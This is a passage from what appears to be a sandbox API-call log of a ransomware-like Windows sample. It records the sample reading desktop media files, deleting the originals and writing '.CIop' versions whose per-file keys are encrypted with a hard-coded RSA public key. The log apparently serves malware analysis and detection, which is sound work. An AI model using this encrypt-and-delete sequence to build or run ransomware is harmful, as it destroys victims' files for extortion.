2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0098.376] lstrcpyW (in: lpString1=0x322f368, lpString2="45dQ123.wav" | out: lpString1="45dQ123.wav") returned="45dQ123.wav" [0098.376] lstrcpyW (in: lpString1=0x322f768, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\" [0098.376] SetErrorMode (uMode=0x1) returned 0x1 [0098.376] wsprintfW (in: param_1=0x322eb68, param_2="%s%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\45dQ123.wav") returned 41 [0098.376] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\45dQ123.wav", dwFileAttributes=0x20) returned 1 [0098.377] StrStrW (lpFirst="45dQ123.wav", lpSrch=".CIop") returned 0x0 [0098.377] wsprintfW (in: param_1=0x322e758, param_2="%s%s.CIop" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\45dQ123.wav.CIop") returned 46 [0098.377] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\45dQ123.wav" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\45dq123.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x53c [0098.377] ReadFile (in: hFile=0x53c, lpBuffer=0x66c920, nNumberOfBytesToRead=0xa495, lpNumberOfBytesRead=0x322e5e8, lpOverlapped=0x0 | out: lpBuffer=0x66c920*, lpNumberOfBytesRead=0x322e5e8*=0xa495, lpOverlapped=0x0) returned 1 [0098.377] CloseHandle (hObject=0x53c) returned 1 [0098.377] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\45dQ123.wav" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\45dq123.wav")) returned 1 [0098.379] VirtualAlloc (lpAddress=0x0, dwSize=0x75, flAllocationType=0x3000, flProtect=0x4) returned 0x3230000 [0098.380] VirtualAlloc (lpAddress=0x0, dwSize=0x12c, flAllocationType=0x3000, flProtect=0x4) returned 0x3240000 [0098.380] SetErrorMode (uMode=0x1) returned 0x1 [0098.380] CryptAcquireContextW (in: phProv=0x322e5b8, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0x0 | out: phProv=0x322e5b8*=0x656010) returned 1 [0098.383] CryptGenKey (in: hProv=0x656010, Algid=0x1, dwFlags=0x4000, phKey=0x322e5bc | out: phKey=0x322e5bc*=0x6490b8) returned 1 [0098.507] CryptExportKey (in: hKey=0x6490b8, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x0, pdwDataLen=0x322e5ec | out: pbData=0x0*, pdwDataLen=0x322e5ec*=0x94) returned 1 [0098.507] CryptExportKey (in: hKey=0x6490b8, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x3240000, pdwDataLen=0x322e5ec | out: pbData=0x3240000*, pdwDataLen=0x322e5ec*=0x94) returned 1 [0098.507] CryptDestroyKey (hKey=0x6490b8) returned 1 [0098.507] CryptReleaseContext (hProv=0x656010, dwFlags=0x0) returned 1 [0098.508] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\45dQ123.wav.CIop" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\45dq123.wav.ciop"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x53c [0098.508] WriteFile (in: hFile=0x53c, lpBuffer=0x66c920*, nNumberOfBytesToWrite=0xa495, lpNumberOfBytesWritten=0x322e5d8, lpOverlapped=0x0 | out: lpBuffer=0x66c920*, lpNumberOfBytesWritten=0x322e5d8*=0xa495, lpOverlapped=0x0) returned 1 [0098.509] SetFilePointer (in: hFile=0x53c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xa495 [0098.509] WriteFile (in: hFile=0x53c, lpBuffer=0x414c2c*, nNumberOfBytesToWrite=0x7, lpNumberOfBytesWritten=0x322e5d8, lpOverlapped=0x0 | out: lpBuffer=0x414c2c*, lpNumberOfBytesWritten=0x322e5d8*=0x7, lpOverlapped=0x0) returned 1 [0098.509] SetFilePointer (in: hFile=0x53c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xa49c [0098.509] SetErrorMode (uMode=0x1) returned 0x1 [0098.509] lstrlenA (lpString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned 271 [0098.509] CryptStringToBinaryA (in: pszString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----", cchString=0x0, dwFlags=0x0, pbBinary=0x322d5b8, pcbBinary=0x322d5ac, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x322d5b8, pcbBinary=0x322d5ac, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0098.509] CryptDecodeObjectEx (in: dwCertEncodingType=0x1, lpszStructType=0x8, pbEncoded=0x322d5b8, cbEncoded=0xa2, dwFlags=0x8000, pDecodePara=0x0, pvStructInfo=0x322d5a0, pcbStructInfo=0x322d598 | out: pvStructInfo=0x322d5a0, pcbStructInfo=0x322d598) returned 1 [0098.509] CryptAcquireContextW (in: phProv=0x322d5a8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x322d5a8*=0x656010) returned 1 [0098.509] CryptImportPublicKeyInfoEx (in: hCryptProv=0x656010, dwCertEncodingType=0x1, pInfo=0x5c26f0, aiKeyAlg=0x0, dwFlags=0x0, pvAuxInfo=0x0, phKey=0x322d5b0 | out: phKey=0x322d5b0*=0x649378) returned 1 [0098.510] CryptEncrypt (in: hKey=0x649378, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x322d5b4*=0x75, dwBufLen=0x75 | out: pbData=0x0*, pdwDataLen=0x322d5b4*=0x80) returned 1 [0098.510] CryptEncrypt (in: hKey=0x649378, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x656120*, pdwDataLen=0x322d5a4*=0x75, dwBufLen=0x80 | out: pbData=0x656120*, pdwDataLen=0x322d5a4*=0x80) returned 1 [0098.510] WriteFile (in: hFile=0x53c, lpBuffer=0x656120*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x322e5d8, lpOverlapped=0x0 | out: lpBuffer=0x656120*, lpNumberOfBytesWritten=0x322e5d8*=0x80, lpOverlapped=0x0) returned 1 [0098.510] SetFilePointer (in: hFile=0x74f66590, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0098.510] VirtualFree (lpAddress=0x3230000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0098.510] VirtualFree (lpAddress=0x3240000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0098.510] CloseHandle (hObject=0x53c) returned 1 [0098.511] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\45dQ123.wav" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\45dq123.wav")) returned 0 Thread: id = 143 os_tid = 0x900 [0098.561] lstrcpyA (in: lpString1=0x30ee5f8, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0098.561] lstrcpyW (in: lpString1=0x30ef368, lpString2="ape_Je.m4a" | out: lpString1="ape_Je.m4a") returned="ape_Je.m4a" [0098.561] lstrcpyW (in: lpString1=0x30ef768, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\" [0098.561] SetErrorMode (uMode=0x1) returned 0x1 [0098.562] wsprintfW (in: param_1=0x30eeb68, param_2="%s%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ape_Je.m4a") returned 40 [0098.562] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ape_Je.m4a", dwFileAttributes=0x20) returned 1 [0098.562] StrStrW (lpFirst="ape_Je.m4a", lpSrch=".CIop") returned 0x0 [0098.562] wsprintfW (in: param_1=0x30ee758, param_2="%s%s.CIop" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ape_Je.m4a.CIop") returned 45 [0098.562] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ape_Je.m4a" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\ape_je.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x53c [0098.563] ReadFile (in: hFile=0x53c, lpBuffer=0x685cd0, nNumberOfBytesToRead=0xc6bc, lpNumberOfBytesRead=0x30ee5e8, lpOverlapped=0x0 | out: lpBuffer=0x685cd0*, lpNumberOfBytesRead=0x30ee5e8*=0xc6bc, lpOverlapped=0x0) returned 1 [0098.563] CloseHandle (hObject=0x53c) returned 1 [0098.563] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ape_Je.m4a" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\ape_je.m4a")) returned 1 [0098.565] VirtualAlloc (lpAddress=0x0, dwSize=0x75, flAllocationType=0x3000, flProtect=0x4) returned 0x30f0000 [0098.565] VirtualAlloc (lpAddress=0x0, dwSize=0x12c, flAllocationType=0x3000, flProtect=0x4) returned 0x3100000 [0098.566] SetErrorMode (uMode=0x1) returned 0x1 [0098.566] CryptAcquireContextW (in: phProv=0x30ee5b8, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0x0 | out: phProv=0x30ee5b8*=0x656098) returned 1 [0098.568] CryptGenKey (in: hProv=0x656098, Algid=0x1, dwFlags=0x4000, phKey=0x30ee5bc | out: phKey=0x30ee5bc*=0x6490b8) returned 1 [0098.603] CryptExportKey (in: hKey=0x6490b8, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x0, pdwDataLen=0x30ee5ec | out: pbData=0x0*, pdwDataLen=0x30ee5ec*=0x94) returned 1 [0098.603] CryptExportKey (in: hKey=0x6490b8, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x3100000, pdwDataLen=0x30ee5ec | out: pbData=0x3100000*, pdwDataLen=0x30ee5ec*=0x94) returned 1 [0098.603] CryptDestroyKey (hKey=0x6490b8) returned 1 [0098.603] CryptReleaseContext (hProv=0x656098, dwFlags=0x0) returned 1 [0098.604] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ape_Je.m4a.CIop" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\ape_je.m4a.ciop"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x53c [0098.604] WriteFile (in: hFile=0x53c, lpBuffer=0x685cd0*, nNumberOfBytesToWrite=0xc6bc, lpNumberOfBytesWritten=0x30ee5d8, lpOverlapped=0x0 | out: lpBuffer=0x685cd0*, lpNumberOfBytesWritten=0x30ee5d8*=0xc6bc, lpOverlapped=0x0) returned 1 [0098.605] SetFilePointer (in: hFile=0x53c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xc6bc [0098.605] WriteFile (in: hFile=0x53c, lpBuffer=0x414c2c*, nNumberOfBytesToWrite=0x7, lpNumberOfBytesWritten=0x30ee5d8, lpOverlapped=0x0 | out: lpBuffer=0x414c2c*, lpNumberOfBytesWritten=0x30ee5d8*=0x7, lpOverlapped=0x0) returned 1 [0098.605] SetFilePointer (in: hFile=0x53c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xc6c3 [0098.605] SetErrorMode (uMode=0x1) returned 0x1 [0098.605] lstrlenA (lpString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned 271 [0098.605] CryptStringToBinaryA (in: pszString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----", cchString=0x0, dwFlags=0x0, pbBinary=0x30ed5b8, pcbBinary=0x30ed5ac, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x30ed5b8, pcbBinary=0x30ed5ac, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0098.605] CryptDecodeObjectEx (in: dwCertEncodingType=0x1, lpszStructType=0x8, pbEncoded=0x30ed5b8, cbEncoded=0xa2, dwFlags=0x8000, pDecodePara=0x0, pvStructInfo=0x30ed5a0, pcbStructInfo=0x30ed598 | out: pvStructInfo=0x30ed5a0, pcbStructInfo=0x30ed598) returned 1 [0098.605] CryptAcquireContextW (in: phProv=0x30ed5a8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x30ed5a8*=0x655ce0) returned 1 [0098.606] CryptImportPublicKeyInfoEx (in: hCryptProv=0x655ce0, dwCertEncodingType=0x1, pInfo=0x5c27c0, aiKeyAlg=0x0, dwFlags=0x0, pvAuxInfo=0x0, phKey=0x30ed5b0 | out: phKey=0x30ed5b0*=0x6490b8) returned 1 [0098.606] CryptEncrypt (in: hKey=0x6490b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x30ed5b4*=0x75, dwBufLen=0x75 | out: pbData=0x0*, pdwDataLen=0x30ed5b4*=0x80) returned 1 [0098.606] CryptEncrypt (in: hKey=0x6490b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x656340*, pdwDataLen=0x30ed5a4*=0x75, dwBufLen=0x80 | out: pbData=0x656340*, pdwDataLen=0x30ed5a4*=0x80) returned 1 [0098.606] WriteFile (in: hFile=0x53c, lpBuffer=0x656340*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x30ee5d8, lpOverlapped=0x0 | out: lpBuffer=0x656340*, lpNumberOfBytesWritten=0x30ee5d8*=0x80, lpOverlapped=0x0) returned 1 [0098.606] SetFilePointer (in: hFile=0x74f66590, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0098.607] VirtualFree (lpAddress=0x30f0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0098.607] VirtualFree (lpAddress=0x3100000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0098.607] CloseHandle (hObject=0x53c) returned 1 [0098.609] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ape_Je.m4a" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\ape_je.m4a")) returned 0 Thread: id = 144 os_tid = 0x5bc [0098.611] lstrcpyA (in: lpString1=0x322e5f8, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0098.611] lstrcpyW (in: lpString1=0x322f368, lpString2="aV64x7o3lA2K.wav" | out: lpString1="aV64x7o3lA2K.wav") returned="aV64x7o3lA2K.wav" [0098.612] lstrcpyW (in: lpString1=0x322f768, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\" [0098.612] SetErrorMode (uMode=0x1) returned 0x1 [0098.612] wsprintfW (in: param_1=0x322eb68, param_2="%s%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\aV64x7o3lA2K.wav") returned 46 [0098.612] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\aV64x7o3lA2K.wav", dwFileAttributes=0x20) returned 1 [0098.612] StrStrW (lpFirst="aV64x7o3lA2K.wav", lpSrch=".CIop") returned 0x0 [0098.612] wsprintfW (in: param_1=0x322e758, param_2="%s%s.CIop" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\aV64x7o3lA2K.wav.CIop") returned 51 [0098.612] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\aV64x7o3lA2K.wav" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\av64x7o3la2k.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x53c [0098.613] ReadFile (in: hFile=0x53c, lpBuffer=0x685cd0, nNumberOfBytesToRead=0xaad0, lpNumberOfBytesRead=0x322e5e8, lpOverlapped=0x0 | out: lpBuffer=0x685cd0*, lpNumberOfBytesRead=0x322e5e8*=0xaad0, lpOverlapped=0x0) returned 1 [0098.613] CloseHandle (hObject=0x53c) returned 1 [0098.613] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\aV64x7o3lA2K.wav" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\av64x7o3la2k.wav")) returned 1 [0098.638] VirtualAlloc (lpAddress=0x0, dwSize=0x75, flAllocationType=0x3000, flProtect=0x4) returned 0x2ed0000 [0098.638] VirtualAlloc (lpAddress=0x0, dwSize=0x12c, flAllocationType=0x3000, flProtect=0x4) returned 0x2ee0000 [0098.638] SetErrorMode (uMode=0x1) returned 0x1 [0098.638] CryptAcquireContextW (in: phProv=0x322e5b8, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0x0 | out: phProv=0x322e5b8*=0x655d68) returned 1 [0098.640] CryptGenKey (in: hProv=0x655d68, Algid=0x1, dwFlags=0x4000, phKey=0x322e5bc | out: phKey=0x322e5bc*=0x648fb8) returned 1 [0098.655] CryptExportKey (in: hKey=0x648fb8, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x0, pdwDataLen=0x322e5ec | out: pbData=0x0*, pdwDataLen=0x322e5ec*=0x94) returned 1 [0098.655] CryptExportKey (in: hKey=0x648fb8, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x2ee0000, pdwDataLen=0x322e5ec | out: pbData=0x2ee0000*, pdwDataLen=0x322e5ec*=0x94) returned 1 [0098.655] CryptDestroyKey (hKey=0x648fb8) returned 1 [0098.655] CryptReleaseContext (hProv=0x655d68, dwFlags=0x0) returned 1 [0098.656] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\aV64x7o3lA2K.wav.CIop" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\av64x7o3la2k.wav.ciop"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x53c [0098.656] WriteFile (in: hFile=0x53c, lpBuffer=0x685cd0*, nNumberOfBytesToWrite=0xaad0, lpNumberOfBytesWritten=0x322e5d8, lpOverlapped=0x0 | out: lpBuffer=0x685cd0*, lpNumberOfBytesWritten=0x322e5d8*=0xaad0, lpOverlapped=0x0) returned 1 [0098.657] SetFilePointer (in: hFile=0x53c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xaad0 [0098.657] WriteFile (in: hFile=0x53c, lpBuffer=0x414c2c*, nNumberOfBytesToWrite=0x7, lpNumberOfBytesWritten=0x322e5d8, lpOverlapped=0x0 | out: lpBuffer=0x414c2c*, lpNumberOfBytesWritten=0x322e5d8*=0x7, lpOverlapped=0x0) returned 1 [0098.657] SetFilePointer (in: hFile=0x53c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xaad7 [0098.657] SetErrorMode (uMode=0x1) returned 0x1 [0098.657] lstrlenA (lpString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned 271 [0098.657] CryptStringToBinaryA (in: pszString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----", cchString=0x0, dwFlags=0x0, pbBinary=0x322d5b8, pcbBinary=0x322d5ac, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x322d5b8, pcbBinary=0x322d5ac, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0098.657] CryptDecodeObjectEx (in: dwCertEncodingType=0x1, lpszStructType=0x8, pbEncoded=0x322d5b8, cbEncoded=0xa2, dwFlags=0x8000, pDecodePara=0x0, pvStructInfo=0x322d5a0, pcbStructInfo=0x322d598 | out: pvStructInfo=0x322d5a0, pcbStructInfo=0x322d598) returned 1 [0098.657] CryptAcquireContextW (in: phProv=0x322d5a8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x322d5a8*=0x655e78) returned 1 [0098.658] CryptImportPublicKeyInfoEx (in: hCryptProv=0x655e78, dwCertEncodingType=0x1, pInfo=0x64a4e0, aiKeyAlg=0x0, dwFlags=0x0, pvAuxInfo=0x0, phKey=0x322d5b0 | out: phKey=0x322d5b0*=0x6491b8) returned 1 [0098.658] CryptEncrypt (in: hKey=0x6491b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x322d5b4*=0x75, dwBufLen=0x75 | out: pbData=0x0*, pdwDataLen=0x322d5b4*=0x80) returned 1 [0098.658] CryptEncrypt (in: hKey=0x6491b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x655df0*, pdwDataLen=0x322d5a4*=0x75, dwBufLen=0x80 | out: pbData=0x655df0*, pdwDataLen=0x322d5a4*=0x80) returned 1 [0098.658] WriteFile (in: hFile=0x53c, lpBuffer=0x655df0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x322e5d8, lpOverlapped=0x0 | out: lpBuffer=0x655df0*, lpNumberOfBytesWritten=0x322e5d8*=0x80, lpOverlapped=0x0) returned 1 [0098.658] SetFilePointer (in: hFile=0x74f66590, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0098.659] VirtualFree (lpAddress=0x2ed0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0098.659] VirtualFree (lpAddress=0x2ee0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0098.659] CloseHandle (hObject=0x53c) returned 1 [0098.660] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\aV64x7o3lA2K.wav" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\av64x7o3la2k.wav")) returned 0 Thread: id = 145 os_tid = 0x98c [0098.614] lstrcpyA (in: lpString1=0x336e5f8, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB 